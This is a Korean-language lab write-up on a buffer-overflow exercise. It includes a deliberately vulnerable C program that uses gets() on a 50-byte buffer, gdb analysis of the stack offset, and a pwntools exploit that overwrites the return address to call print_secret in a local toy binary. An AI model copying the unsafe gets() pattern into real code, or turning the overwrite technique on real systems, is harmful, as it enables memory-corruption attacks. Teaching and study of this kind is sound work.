#include <stdio.h>
/* This function will print a secret string to you. Your goal is to execute this
* function by exploiting buffer overflow vulnerability.
*/
void print_secret(void);
void echo(void) {
char buf[50];
puts("Input your message:");
gets(buf);
puts(buf);
}
int main(void) {
echo();
return 0;
}
echo1.c에 작성된 코드
gdb를 이용하여 main함수를 disassemble 해보자.

그럼 echo함수의 return address는 0x40123d인 것을 알 수 있다.
우리는 이 echo함수의 return address를 print_secret함수의 시작 주소로 덮어씌워야 한다.

print_secret함수의 시작 주소는 0x401186인 것을 알 수 있다.
gdb를 이용하여 echo함수를 disassemble해보자.

%rsp를 0x48만큼 내려 스택에 공간을 할당했다.
0x48 = 16 * 4 + 8 = 72 -> 72 / 8 = 9칸

puts 함수의 인자로 무엇을 받았나 보니깐 Input your message를 받은 걸 확인할 수 있다.
그 다음 gets 함수의 인자로 buf의 주소를 받는다.

그림으로 나타내면 다음과 같다.
자 그렇다면 어떻게 해야 return address에 0x401186을 덮어쓸 수 있을까?
get함수는 크기가 정해져 있지 않아 무한정 문자를 받을 수 있다.
따라서 문자 A를 0x48번(= 72번) 입력하고 그 다음 0x401186을 gets함수의 인자로 받으면 된다 !

이렇게 !
이걸 이제 exploit코드로 짜보면
#!/usr/bin/python3
from pwn import *
def exploit():
# Write your exploit logic here.
p = process("./echo1.bin")
print(p.recvuntil(b"message:\n"))
p.sendline(b"A" * 0x48 + b"\x86\x11\x40")
print(p.recvline()) # echo
print(p.recvline()) # secret.txt
if __name__ == "__main__":
exploit()
2가지 주의할 점이 있다.
1. 첫번째 print(p.recvline())은 echo의 결과이고, 두번째 print(p.recvline())은 print_secret함수의 실행 결과이다. 그래서 총 2번 받아야 한다!
2.
puts("Input your message:");
gets(buf);
puts함수는 뒤에 자동으로 줄바꿈 문자를 추가해주기 때문에
print(p.recvuntil(b"message:\n"))를 해주어야 한다.